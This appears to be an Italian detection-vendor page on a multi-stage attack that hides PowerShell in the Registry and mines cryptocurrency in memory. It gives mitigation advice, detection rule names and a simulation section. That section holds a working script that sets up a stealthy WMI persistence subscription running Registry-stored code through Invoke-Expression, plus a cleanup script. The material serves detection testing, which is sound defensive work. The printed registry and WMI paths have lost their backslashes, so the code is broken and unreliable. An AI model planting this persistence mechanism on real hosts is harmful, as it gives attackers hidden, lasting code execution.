Lancio di Mining di Criptovalute In-Memory con PowerShell Memorizzato nel Registro
Detection stack
- AIDR
- Alert
- ETL
- Query
Sommario
Una catena di infezione multi-stadio utilizza tecniche sofisticate di offuscamento per distribuire un miner di criptovaluta. L’attacco memorizza i payload nel Registro di sistema e sfrutta i record DNS TXT insieme alla steganografia in file PNG e WAV per fornire fasi successive. Il payload finale carica un assembly .NET direttamente in memoria per eseguire il mining di criptovalute attraverso l’ecosistema XMRig.
Indagine
Gli analisti hanno investigato su avvisi di esecuzione ripetuta di PowerShell e hanno scoperto una strategia di occultamento del payload a strati. La catena di infezione ricostruisce contenuti dannosi da contenitori non convenzionali, inclusi dati di pixel di immagine e morsetti di file audio. L’esecuzione procede da script PowerShell memorizzati nel Registro attraverso più fasi fino a caricare infine un miner di criptovaluta .NET direttamente in memoria.
Mitigazione
Le organizzazioni dovrebbero imporre politiche di esecuzione PowerShell rigorose e monitorare modifiche sospette al Registro associate con la memorizzazione dei payload. Le soluzioni EDR dovrebbero rilevare il caricamento di assembly .NET in memoria e le query anomale dei record DNS TXT. Dovrebbe essere implementato anche l’allowlisting delle applicazioni per prevenire driver in modalità kernel non autorizzati come WinRing0.sys dal caricamento.
Risposta
Se viene rilevata attività malevola, gli host interessati dovrebbero essere isolati immediatamente per fermare ulteriori comunicazioni C2 e il mining di criptovalute. I soccorritori dovrebbero eseguire una scansione forense per task pianificati non autorizzati, sottoscrizioni WMI ed esclusioni di Microsoft Defender. Anche i log di rete dovrebbero essere rivisti per connessioni a domini C2 noti e query DNS-over-HTTPS sospette.
Flusso di Attacco
Stiamo ancora aggiornando questa parte.
Rilevamenti
Stringhe Powershell Sospette (tramite powershell)
Richiamare Metodi .NET Sospetti da Powershell (tramite powershell)
File di Immagine Creato da Processo Sospetto (tramite file_event)
Canale di Comando e Controllo DoH e DNS (tramite proxy)
IOC (HashMd5) per rilevare: Da PowerShell Memorizzato nel Registro a Mining di Criptovaluta in Memoria: Una Catena di Infezione Multi-Stadio
IOC (SourceIP) per rilevare: Da PowerShell Memorizzato nel Registro a Mining di Criptovaluta in Memoria: Una Catena di Infezione Multi-Stadio
IOC (DestinationIP) per rilevare: Da PowerShell Memorizzato nel Registro a Mining di Criptovaluta in Memoria: Una Catena di Infezione Multi-Stadio
Rileva DNS-over-HTTPS e Comunicazione POST C2 HTTP/HTTPS [Connessione di Rete Windows]
Sottoscrizione Permanente di Evento WMI per Esecuzione PowerShell Basata sul Registro [Evento del Registro di Windows]
Offuscamento di PowerShell ed Esecuzione Occulta [Windows Powershell]
Esecuzione della Simulazione
-
Narrazione di Attacco & Comandi: L’avversario cerca di stabilire una persistenza a lungo termine sull’host compromesso. Invece di utilizzare una comune chiave ‘Run’, optano per una sottoscrizione di evento permanente WMI più furtiva. L’attaccante crea una
CommandLineEventConsumer. Questo consumer è configurato per eseguirepowershell.exe. Per evitare l’analisi statica della riga di comando, il payload o la configurazione malevola effettiva è memorizzata in un percorso del Registro non standard:HKLM:Softwareuf42a9660377vstdfehzr. Quando l’evento WMI si attiva (simulato qui da un evento di sistema), il processo PowerShell si avvierà, facendo riferimento alla chiave di registro specifica, attivando così la regola di rilevamento. -
Script di Test di Regressione:
# Script di Simulazione: Esecuzione PowerShell Basata su Registro WMI # Questo script crea la chiave di registro specifica e la sottoscrizione WMI necessaria per attivare la regola. $regPath = "HKLM:Softwareuf42a9660377" $regValueName = "vstdfehzr" $regValueData = "Invoke-Expression (Get-ItemProperty -Path '$regPath$regValueName').Payload" # 1. Crea la chiave di registro sospetta e il valore if (-not (Test-Path $regPath)) { New-Item -Path $regPath -Force | Out-Null } New-ItemProperty -Path $regPath -Name $regValueName -Value "Write-Host 'Payload Malevolo Attivato!'" -PropertyType String -Force | Out-Null # 2. Crea Sottoscrizione Permanente di Evento WMI # Utilizziamo un Filtro per attivare su un evento comune (es. uptime/avvio sistema) o simulare tramite creazione di consumer $filterName = "Win32_LocalTimeFilter" $consumerName = "Win32_CommandLineConsumer" $subscriptionName = "WmiPersistenceSubscription" # Crea Filtro (Si attiva ogni minuto a scopo di simulazione) $filterArgs = @{ Name = $filterName QueryLanguage = "WQL" Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime'" } $filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs # Crea Consumer (Il comando PowerShell che fa riferimento al percorso specifico del registro) $commandLine = "powershell.exe -Command `"$regValueData`"" $consumerArgs = @{ Name = $consumerName CommandLineTemplate = $commandLine } $consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs # Collega Filtro e Consumer Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{ Filter = $filter Consumer = $consumer } Write-Host "[+] Simulazione: Sottoscrizione WMI e Chiave di Registro create con successo." Write-Host "[+] In attesa che l'evento WMI attivi l'esecuzione di PowerShell..." # Nota: In un ambiente reale, aspettiamo l'evento. # A scopo di test, la regola spesso cerca la *creazione* o l'*attivazione dell'evento*. -
Comandi di Pulizia:
# Script di Pulizia Write-Host "[!] Pulizia degli artefatti di simulazione..." # 1. Rimuovi Sottoscrizione WMI Get-WmiObject -Namespace rootsubscription -Class __EventFilter -Filter "Name='Win32_LocalTimeFilter'" | Remove-WmiObject Get-WmiObject -Namespace rootsubscription -Class CommandLineEventConsumer -Filter "Name='Win32_CommandLineConsumer'" | Remove-WmiObject Get-WmiObject -Namespace rootsubscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -match "Win32_LocalTimeFilter" } | Remove-WmiObject # 2. Rimuovi Chiave di Registro Remove-Item -Path "HKLM:Softwareuf42a9660377" -Recurse -Force Write-Host "[+] Pulizia completata."